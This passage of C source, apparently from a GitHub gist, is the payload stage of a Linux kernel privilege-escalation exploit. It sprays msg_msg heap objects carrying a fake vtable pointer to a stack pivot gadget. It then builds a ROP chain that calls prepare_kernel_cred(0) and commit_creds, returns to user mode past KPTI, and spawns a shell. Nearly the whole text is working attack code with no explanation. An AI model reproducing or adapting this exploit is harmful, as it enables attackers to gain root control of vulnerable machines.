// *(uint64_t *)(msg->mtext + 0x1000 - 0x38 + 0x70) = 0xdeadbeef;
// *(uint64_t *)(msg->mtext + 0x1000 - 0x38 + 0x78) = 0xcafebabe;
// vtable: offset 0x50
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[9] = 0xdeadbeefcafebab2;
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[10] = stack_pivot_gadget_0;
// ((uint64_t *)(msg->mtext + 0x1000 - 0x30))[11] = 0xdeadbeefcafebab4;
// ((uint64_t *)(msg->mtext + 0x1000 - 0x30))[12] = 0xdeadbeefcafebab5;
// ROP
int ii = 0;
uint64_t *rop = (uint64_t *)(msg->mtext + 0x1000 - 0x38 + 0x70);
// prepare_kenerl_cred(0)
rop[ii++] = pop_rdi_ret;
rop[ii++] = 0;
rop[ii++] = prepare_kernel_cred;
// commit_creds(*)
rop[ii++] = pop_rcx_ret;
rop[ii++] = 0;
rop[ii++] = mov_rdi_rax_gadget;
rop[ii++] = 0;
rop[ii++] = 0;
rop[ii++] = 0;
rop[ii++] = commit_creds;
// kpti ret
rop[ii++] = swapgs_restore_regs_and_return_to_usermode;
rop[ii++] = 0;
rop[ii++] = 0;
rop[ii++] = (uint64_t)&shell;
rop[ii++] = user_cs;
rop[ii++] = user_rflags;
rop[ii++] = user_sp;
rop[ii++] = user_ss;
assert(8 * ii <= 0x280 - 0x70);
for (int i = 0; i < 0x80; i++) {
// prepare msg_msg
int32_t qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
// msg_msg
send_msg(qid, msg, 0x1000 + 0x280 - 0x38, 0);
}
puts("msg_msg done");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
}
}
getchar();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment